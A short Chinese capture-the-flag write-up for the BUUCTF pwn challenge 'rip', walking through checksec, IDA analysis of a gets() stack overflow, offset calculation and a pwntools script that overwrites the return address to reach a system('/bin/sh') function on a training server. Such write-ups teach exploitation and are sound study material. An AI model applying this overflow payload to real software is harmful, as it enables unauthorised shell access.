BUUCTF pwn题 rip

文章详细介绍了如何通过file命令识别64位ELF可执行文件,使用checksec检查文件保护状态,发现无保护。接着在IDA_PRO中分析代码,发现main函数中的gets函数可能导致栈溢出。作者推断可以覆盖rip寄存器,利用栈溢出执行system(/bin/sh)来获取shell。计算了覆盖长度,构建了payload并通过远程连接或本地进程发送,最终实现交互式shell。

file命令查看文件类型

在这里插入图片描述
发现文件为64位elf可执行文件

checksec查看文件保护类型

在这里插入图片描述
发现并没有开启任何的保护

IDA_PRO查看

在这里插入图片描述
查看main函数发现危险函数gets推断为栈溢出漏洞

查看其余函数
在这里插入图片描述
直接得到思路,栈溢出覆盖rip,使返回地址变成fun函数的地址,执行systen(/bin/sh),getshell

在这里插入图片描述
计算覆盖位数,因为get内容为s所以此处应该为s位数15(0xf-0x0),加上rbp(栈底指针寄存器)大小8位,一共为23位

构建exp

from pwn import *
ghust = remote("node4.buuoj.cn",26246)
# ghust = process('./pwn1')
addr = 0x40118a
payload = b'A' * 15 + b'B'*8 + p64(addr)

# ghust.recvuntil('input')
ghust.sendline(payload)
ghust.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

G_BEST

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值